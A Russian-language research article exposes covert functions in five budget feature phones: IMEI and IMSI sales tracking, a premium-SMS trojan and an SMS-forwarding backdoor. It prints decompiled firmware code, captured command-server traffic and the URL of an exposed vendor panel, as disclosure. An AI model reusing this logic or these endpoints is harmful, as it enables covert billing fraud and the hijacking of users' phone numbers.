Немалое количество простых кнопочных телефонов, присутствующих в российских магазинах, содержат нежелательные недокументированные функции. Они могут совершать автоматическую отправку СМС-сообщений или выходить в интернет для передачи факта покупки и использования телефона (передавая IMEI телефона и IMSI SIM-карт). Встречаются модели со встроенным трояном, отправляющим платные СМС-сообщения на короткие номера, текст которого загружается с сервера, также бывают устройства с настоящим бэкдором, пересылающим входящие СМС-сообщения на сервер злоумышленников.
Статья описывает детали вредоносных функций и способы их обнаружения.
Введение
Исследование мобильных телефонов началось с простой идеи: можно ли использовать эти дешевые и доступные в любом магазине трубки для приёма СМС-сообщений на компьютер? Телефоны гораздо дешевле распространённых USB GSM-модемов, к тому же большинство моделей поддерживают 2 SIM-карты, а некоторые и до четырёх.
В силу почти полного отсутствия информации о наличии и возможностях AT-порта в современных телефонах, я решил купить несколько максимально разных устройств для проверки их функциональности.
Но как выбрать по-настоящему разные телефоны?
Три кита мобильных SoC
Существует три основных производителя систем-на-чипе для кнопочных звонилок:
|
|
|
|
Архитектура | MIPS | ARM | ARM |
Стандарты | 2G | 2G/3G/4G | 2G/3G/4G |
Более не выпускаются, но всё ещё продаются. Компания куплена Spreadtrum. |
Ребрендированы в Unisoc, но продолжают выпускать чипы под старым брендом. | Имеют линейки для смартфонов, кнопочных телефонов, IoT, встраиваемых устройств, и т.д. |
Каждый производитель чипов предоставляет свой SDK для разработки прошивок на его основе. SDK разных производителей разительно отличаются и, как правило, пишутся под конкретную линейку чипов и задачу. Функции конечного устройства также зависят от операционной системы: SDK может быть интегрирован в ОС реального времени через HAL.
Не обязательно покупать десятки и сотни телефонов для проведения полноценного тестирования: достаточно купить несколько моделей разных производителей SoC и с разными операционными системами.
Что я купил и что получил
Были куплены почти случайные телефоны, ориентируясь по визуальной составляющей интерфейса на фотографиях и в видеообзорах и немногочисленной информации о SoC в интернете:
- Inoi 101 (RDA8826/SC6533, 600₽)
- DEXP SD2810 (SC6531E, 699₽)
- Itel it2160 (MT6261, 799₽)
- Irbis SF63 (SC6531DA, 750₽)
- F+ Flip 3 (SC6531DA, 1499₽)
Довольно быстро я осознал, что с телефонами что-то не так…
Классификация нежелательных функций
Вредоносную активность телефонов можно разделить на три категории:
- Отправка СМС и выход в интернет для «отслеживания продаж»
Наиболее безобидная функция, не наносящая значительный материальный урон мобильному счёту. Устройство без ведома пользователя отправляет СМС (на обычный российский номер) или выходит в интернет, передавая IMEI-номер телефона и IMSI SIM-карты неустановленной организации или частному лицу.
Передача данных осуществляется либо один раз до сброса устройства в заводское состояние, либо после каждого извлечения аккумулятора. - Троян, отправляющий СМС на платные (короткие) номера, предварительно загрузив текст и номер с сервера через интернет
Функция, систематически списывающая средства со счёта мобильного номера. Помимо частого автоматического и скрытного выхода в интернет (что само по себе расходует деньги на не-пакетных тарифах), мобильное устройство отправляет отдельно тарифицируемые СМС-сообщения на короткие номера, перехватывает подтверждающую СМС и отправляет текст подтверждения в ответ. - Бэкдор, перехватывающий входящие СМС-сообщения и отправляющий их на сервер
Позволяет злоумышленникам использовать ваш номер телефона для регистраций на сервисах, требующих подтверждения через СМС. Телефон периодически выходит в интернет и получает команды с сервера, результат выполнения которых отправляется обратно на сервер.
Методы обнаружения и анализа вредоносной активности
Проверка детализации мобильного оператора — способ, доступный любому человеку. Достаточно вставить рабочую SIM в телефон, включить его и оставить лежать полные сутки, после чего запросить детализацию в виде файла через онлайн-кабинет мобильного оператора. Данный метод позволяет выявить факт выхода в интернет (без адресов хостов и передаваемого содержимого), факт отправки СМС-сообщения и номер получателя, точное время совершенных действий.
Детализация помогает легко понять, содержится ли в телефоне нежелательная функциональность, без подробностей.
Анализ прошивки телефона — затратный метод, требующий глубоких познаний в устройстве телефона и способах обратной разработки ПО, зато позволяющий детально проанализировать вредоносные функции прошивки, а также избавиться от них.
Анализ прошивки состоит из трёх этапов:
- Получение дампа из телефона или поиска и скачивания прошивки в интернете
- Распаковки сжатых частей прошивки при необходимости
- Исследования кода прошивки вручную
Самый простой и универсальный, но затратный или опасный способ дампа прошивки — использование так называемых «боксов» — аппаратно-программных комплексов от сторонних разработчиков для прошивки и восстановления широкого модельного ряда телефонов. Лет 15 назад боксы были распространены и востребованы, т.к. у каждого производителя телефонов был свой кабель, свой метод подключения к компьютеру в режиме сервисного обслуживания, часто требовалось подключение к контактным панелям (падам) в аккумуляторном отсеке. Современным телефонам такое, как правило, не нужно, и актуальные «боксы» представляют собой лишь особое ПО, способное производить все действия через USB-подключение.
Для снятия прошивки я воспользовался взломанной версией Miracle Box. Чтобы модификации, сделанные крякерами, нельзя было легко посмотреть путём сравнения оригинального и измененного файла, на взломанную версию навешан Enigma Protector, прямо поверх VMProtect, который используется в оригинальном ПО. Из-за этого программа запускается около минуты и тормозит на отрисовке кнопок и компонентов при переключении вкладок.
Взломщики не озаботились отключением интернет-функций программы, что позволило авторам выявлять использование взломанной версии и, по всей видимости, выполнять произвольный код на компьютере пользователя: в окне лога появляются устрашающие надписи о сборе и отправке всех сохранённых паролей на сервер.
Преимущество подобного ПО в полной автоматизации процесса: программа сама определит конкретную модель процессора, адрес флеш-памяти и её размер. Некоторые боксы содержат встроенные эксплоиты для обхода Secure Boot и других подобных защит.
Существуют и альтернативные варианты получения дампов. Для чипов Mediatek можно воспользоваться официальной программой MTK Flash Tool, в которой есть функция чтения произвольного адреса памяти, а для RDA можно воспользоваться готовым скриптом, позволяющим прочитать в т.ч. оперативную память.
Официального ПО для Spreadtrum: SPD Flash Tool / ResearchDownload.
Для распаковки прошивки основного раздела ALICE чипов Mediatek можно воспользоваться сторонней разработкой unalice, разжимающий файл: https://github.com/donnm/mtk_fw_tools/
Про работу с прошивками RDA я уже писал в статье «Мелкая доработка прошивки кнопочного телефона на платформе RDA8826 (SC6533, MIPS): отключаем Funbox, взламываем игры». Самый простой способ — дать распаковать всё самому телефону, после чего извлечь распакованные данные из оперативной памяти прямо во время работы телефона.
На Spreadtrum основная часть прошивки сжата модифицированным LZMA, распаковщик к которому отсутствует в публичном доступе Уже доступен. Для распаковки необходимо модифицировать несжатый код таким образом, чтобы он выполнил распаковку аппаратным устройством и передал распакованный код на компьютер, но на моём единственном устройстве порт UART был настроен на DSP, а не основной процессор, и переключить мне его не удалось. Можно было задействовать другие методы вывода (например, воспользовавшись динамиком или фонариком в качестве транспорта), но я не стал этого делать.
Базовая станция 2G — удобный и лёгкий в настройке метод массового практического анализа вредоносной активности без предварительной подготовки каждого устройства, однако требующий значительных капитальных затрат на покупку SDR-оборудования.
Метод даёт доступ ко всему сетевому трафику GSM/GPRS, с возможностью его просмотра и модификации на лету.
Моя конфигурация:
- bladeRF x115 ($650)
- Raspberry Pi 400 ($100)
- Открытое и бесплатное ПО базовой станции YateBTS
- Wireshark для анализа GSM и интернет-трафика
BladeRF питается от USB и не требует никакой дополнительной обвязки. Достаточно обычной дипольной антенны для начала работы.
YateBTS автономно реализует все компоненты GSM-стека, благодаря чему устанавливается и настраивается буквально за 30 минут. Отлично подходит для подобных исследований!
Телефоны
Первое и самое «чистое» купленное устройство — Inoi 101, о котором я уже писал отдельную заметку
Этот телефон не содержит вредоносных функций. Присутствуют типичные нежелательные вещи вроде меню СМС-подписок и платные игры, но устройство не выполняет какие-либо действия самовольно или скрытно.
Itel — китайский производитель, выпускающий устройства для развивающихся стран. Входит в холдинг Transsion, объединяющий бренды Tecno, itel, Infinix, Spice.
Модель Itel it2160 сообщает «о продаже» через интернет, без предупреждения.
POST /SaleStatistics/sendsale/sendSale?ua=itel-it2160&screen=128X160&imsi=9250991625668426&imei=354648020000251&phone_version=it2160-DL194-EnRuUk-RU-20210201&platform=2&device=1&lang=Русский язык&timeStamp=2021-01-0102:00:00&auth=ed6bdd17212ec9c9699a6b0a693870fd HTTP/1.1 Host: asv.transsion.com:8080 Cache-Control: no-cache Pragma: no-cache Connection: Keep-Alive x-wap-profile: http://nds.nokia.com/uaprof/N6280r100.xml Content-Length: 0 HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 31 May 2021 16:05:17 GMT Content-Type: application/json;charset=UTF-8 Content-Length: 52 Connection: keep-alive {"response":{"code":"201","desc":"Repeat Products"}}
На домене asv.transsion.com была найдена панель, содержащая информацию о проданных устройствах, которую они сами присылают на сервер:
- IMEI
- Страна
- Модель
- Версия прошивки
- Язык
- Время активации
- Идентификатор базовой станции (LAC/TAC)
Идентификатор базовой станции позволяет определить местоположение телефона с точностью до ≈5 километров.
Адрес панели: http://asv.transsion.com:8080/openinfo/open/index
Flip 3 российского OEM-поставщика F+ cообщает «о факте продажи» через СМС на номер +79584971255, отсылая IMEI и IMSI в теле сообщения.
Не содержит браузера, не выходит в интернет.
Декомпиляция прошивки выявляет наличие других номеров телефонов для ряда стран: +92313568243 для Пакистана (PLMN 410), +8804445600006 для Бангладеша (PLMN 470), 18049479956 для Азербайджана и Казахстана (PLMN 400, 401), +9156767215 для Индии (PLMN 404, 405).
_BYTE *__fastcall gmb_sms_sales_get_phone_number(int *plmn, int number_, int text_) { int text; // r2 char *number; // r1 MEMORY[0x10041098](number_, text_); if ( plmn == (int *)410 ) { text = text_; number = "+92313568243"; } else if ( (int)plmn > 410 ) { if ( (int)plmn - 410 <= 50 || plmn != (int *)470 ) goto LABEL_17; text = text_; number = "+8804445600006"; } else { if ( plmn == (int *)400 ) { LABEL_17: text = text_; number = "18049479956"; return sub_10324500(number_, (unsigned __int8 *)number, text); } if ( (int)plmn > 400 ) { if ( plmn == (int *)401 || plmn != (int *)404 && plmn != (int *)405 ) goto LABEL_17; text = text_; number = "+9156767215"; } else { if ( plmn != (int *)250 ) goto LABEL_17; text = text_; number = "+79584971255"; } } return sub_10324500(number_, (unsigned __int8 *)number, text); }
В тексте СМС помимо IMEI и IMSI передаются три константы, по всей видимости означающие модель телефона и номер партии (дату производства):
… sms_prepare_struct((int)v5, 32); sub_10309198(); imsi = (const char *)get_imsi(); if ( !imsi ) imsi = &str_zero; imei = (const char *)get_imei(); if ( !imei ) imei = "000000000000000"; strcpy((int)sms_str, "#%s#%s#%s#%d#%d#", imsi, imei, "250124", 64, 1); result = schedule_sms((int)sms_str, (int)v5, v0, (int)sms_callback);
Отзывы с Яндекс.Маркета:
На 4pda были обнаружены архивы прошивок от нескольких моделей фирмы BQ, которые очень похожи на прошивки F+. Судя по всему, это не перепакованный архив прошивки от OEM-производителя, содержащий помимо самой прошивки еще и файлы, необходимые для её отладки. В частности, в архивах содержится прошивка в виде .elf-файла, без сжатых секций, с отладочными символами.
Открыв .elf-файл в IDA, мы можем увидеть оригинальные названия функций и переменных.
Функция отправки СМС называется gmb_sms_sales_send_sms_ext, где gmb — вероятно, gmobi — поставщик сервиса смс-подписок.
Я попытался получить подробности об этой функциональности у производителя. С компанией F+ состоялся следующий диалог:
На просьбу выложить обновлённую версию прошивки в открытый доступ получил отказ и игнорирование дальнейших вопросов.
От BQ, прошивки которых я проанализировал и нашел подобную функциональность (отправка СМС на +79629511090), получил только совет обратиться в сервисный центр, с игнорированием дальнейших вопросов.
DEXP SD2810 от российского бренда сети магазинов DNS.
Опасный телефон, расходующий деньги мобильного счёта.
• Не содержит браузера, но подключается к GPRS
• Сообщает «о продаже» через интернет, без предупреждения
• Передаёт IMEI, IMSI
• Обращается к CnC в интернете и выполняет его команды
• Отправляет платные СМС на короткие номера с текстом, полученным с сервера
Телефон периодически отправляет POST-запросы по незашифрованному HTTP-соединению на домен www.mgs123.com, выполняет ответы сервера на отправку СМС-сообщений.
POST http://www.mgs123.com:8080/fee/mergserv HTTP/1.1 Host: www.mgs123.com Accept: */* User-Agent: MOT-E398/0E.20.34R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0 UP.Link/5.1.2.6 Content-Length: 177 BCMD=GetFeeConfig&CRTY=6&IMSI=250991625668426&RIMSI=250991625668426&CTYPE=1&CVER=2001&NONCE=151927053004&PLMN=25099&PMOD=8411&PNUM=&RTYPE=A&SIGN=7295DD12B0B11CF997AC8B4A593D82FA <?xml version="1.0"?> <smtinfo> <BCMD>GetFeeConfig</BCMD> <FNUM>4169</FNUM> <CREP>2</CREP> <INTV>6000</INTV> <FMON>-1</FMON> <CTAG>1</CTAG> <INFO>null</INFO> <FAUTO>0</FAUTO> <FMONEY>50.0RUB</FMONEY> <KCON>Оплата услуги на 4169%7C88001000633</KCON> <FTAG>sms</FTAG> <GRABSMS>2</GRABSMS> <FMAX>0</FMAX> <CCON>Отправьте 2 в ответ на данное</CCON> <BSCO>1</BSCO> <FPRICE>50.0</FPRICE> <FNXT>45</FNXT> <FSHD>1</FSHD> <FINT>171</FINT> <ISTWO>0</ISTWO> <DATE>20210815</DATE> <FFOC>1</FFOC> <FCON>gooo mgs</FCON> </smtinfo>
Сервер сообщает, на какой номер отправить СМС (директива FNUM, номер 4169), содержание или префикс сообщения (директива FCON, сообщение gooo mgs), а также, помимо всего прочего, ожидаемый ответный текст (CCON, «Отправьте 2 в ответ на данное») и текст ответной СМС (GRABSMS, «2»).
Домен www.mgs123.com зарегистрирован в Китае, хостинг тоже находится в этой стране:
$ whois mgs123.com | grep Registrar Registrar WHOIS Server: grs-whois.hichina.com Registrar URL: http://whois.aliyun.com Registrar Registration Expiration Date: 2024-08-01T08:22:22Z Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd. Registrar IANA ID: 420 Registrar Abuse Contact Email: [email protected] Registrar Abuse Contact Phone: +86.95187 $ dig +short www.mgs123.com 121.201.57.203 $ whois 121.201.57.203 | grep descr descr: Guangdong RuiJiang Science and Tech Ltd. descr: Room 404 ,No.100, Lingnan Avenue North, descr: Lingnan Building, Foshan, GuangDong, descr: CNC Group CHINA169 Guangdong Province Network descr: Addresses from CNNIC(HUANDAO)
Выдержка из новости «Новокузнечанин купил телефон со встроенной «функцией разорения счёта»«:
DEXP не ответил на запрос о вредоносной функциональности.
Модель SF63 от российского OEM-поставщика Irbis.
Опасный телефон, использующий номер вашего телефона в коммерческих целях, для регистрации сторонних лиц в интернет-сервисах.
• Не содержит браузера, но подключается к GPRS
• Сообщает «о продаже» через интернет, без предупреждения
• Передаёт зашифрованные данные на сервер
• Обращается к CnC в интернете и выполняет его команды
Этот «бабушкофон» шёл из магазина с «чистой», обновлённой прошивкой. В интернете для этой модели была найдена одна единственная версия «IRBIS_SF63_GC9106_CTC_V05_GSM_FM_20181010.pac», которая и была установлена на устройство. Она оказалась с бекдором.
Телефон, как и в случае с DEXP, отправляет POST-запросы по HTTP, но эта модель шифрует передаваемые данные собственным алгоритмом с, по всей видимости, фиксированным ключом — шифрованные параметры большую часть времени одинаковы, а если меняются, то незначительно.
Данные передаются на домен hwwap.well2266.com.
GET /checkupdate?p=hxB4ZvBrVc9Hl8wcdORsVcZHmHetYc9sSHwEhuvtWc5Hkf0EYcF0SHGolxF4VEdrXcFsWERwWEhzW8RxSHGoifF4VudsXclvVc9rVuBzVuBySI6NhgZ4WEduVdZHlxV4WuFrVulrVc9sVc9HiHOvYc9HlxwuYc9HmxOrYc9HlHeIYfONk7iwlyWFYcRHjgitYc9HmPsEYc9HhHZ4Vc5oVc5oVE5sX75sWcJsWcJtVB%3D%3D HTTP/1.1 Accept: */* Accept-Language: zh-cn Host: hwwap.well2266.com:8077 Connection: Keep-Alive Cache-Control: no-cache User-Agent: MAUI WAP Browser Accept-Charset: utf8,gb2312 HTTP/1.1 200 Server: nginx/1.12.0 Date: Sat, 19 Jun 2021 15:11:06 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 28 Connection: keep-alive Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Cache-Control: must-revalidate hfWvjgiGiQa2VE5tVbvrWDvsXgv=
Домен зарегистрирован и хостится в Китае, в облаке Alibaba.
$ whois well2266.com | grep Registrar Registrar WHOIS Server: grs-whois.hichina.com Registrar URL: http://whois.aliyun.com Registrar Registration Expiration Date: 2023-06-17T02:47:49Z Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd. Registrar IANA ID: 420 Registrar Abuse Contact Email: [email protected] Registrar Abuse Contact Phone: +86.95187 $ dig +short hwwap.well2266.com 47.88.242.46 $ whois 47.88.242.46 | grep Organization Organization: Alibaba.com LLC (AL-3)
Выдержка из заметки «Бабушкофон ворующий смс и телеграм-аккаунты»
Выдержка из заметки «Как получить доступ к смс любого номера или Билайн пробивает дно»
Результаты
4 из 5 телефонов содержат незадекларированную функциональность, из них:
• 2 модели расходуют деньги со счёта (отправляют данные после покупки через СМС/интернет);
• 1 модель выходит в интернет и отправляет платные СМС-сообщения на короткие номера;
• 1 модель пересылает входящие сообщения через интернет.
Кто виноват?
Прежде всего виноват бренд, под которым продаются телефоны. Бренд заказывает разработку самого устройства и прошивки для него у OEM-производителя, но не проверяет конечное устройство на наличие незадекларированных возможностей. По какой-то причине, многие бренды не выкладывают прошивку на сайт, а отправляют обновлять устройство в сервисный центр в случае проблем.
Бренды F+ и BQ отрицают проблему или умалчивают о ней.
OEM-производитель готов внедрить любой каприз бренда или производителя сторонних модулей, за ваши же деньги.
Отсутствие в России специализированного министерства, которое бы занималось подобными проблемами. Минцифры (бывший Минсвязи) проверяют только сертификацию продукции на соответствие мировым и российским стандартам связи, но не функциональность конечного устройства.
Минцифры порекомендовало обращаться в Роспотребнадзор, перенеся проблему в плоскость продавец-покупатель.
Согласно Положению, Минцифры России осуществляет функции по выработке и реализации государственной политики и нормативно-правовому регулированию в сфере связи […]
Информируем, что средства связи, указанные в Вашем первоначальном обращении, прошли процедуру обязательного подтверждения соответствия Правилам применения оборудования радиодоступа. […]
Следует отметить, что в соответствии с Правилами при декларировании телефонных аппаратов для сетей подвижной радиотелефонной связи проверка наличия или отсутствия отправки коротких сообщений в автоматическом режиме не предусмотрена.
Федеральный государственный надзор в области защиты прав потребителей осуществляется уполномоченным федеральным органом исполнительной власти – Федеральной службой по надзору в сфере защиты прав потребителей и благополучия человека (Роспотребнадзор).
Что делать?
Мобильных телефонов огромное количество, проверить их все невозможно.
- Покупайте только проверенные мировые бренды: телефоны Nokia не содержат вредоносной функциональности, но и стоят в 2-4 раза дороже «отечественных» аналогов;
- Читайте отзывы перед покупкой: лучше купить проверенную модель, давно присутствующую на рынке, с безупречной репутацией, чем рисковать с новинками;
- Отслеживайте поведение нового телефона после покупки в течение суток, по детализации оператора;
- Пишите в Роспотребнадзор, ФСБ (?) и производителю, если обнаружили непонятную активность.
…а что с приёмом СМС?
Ни один из купленных телефонов не предоставляет полноценный AT-порт через USB или Bluetooth. Чтение SMS-сообщений с компьютера не реализовано нигде.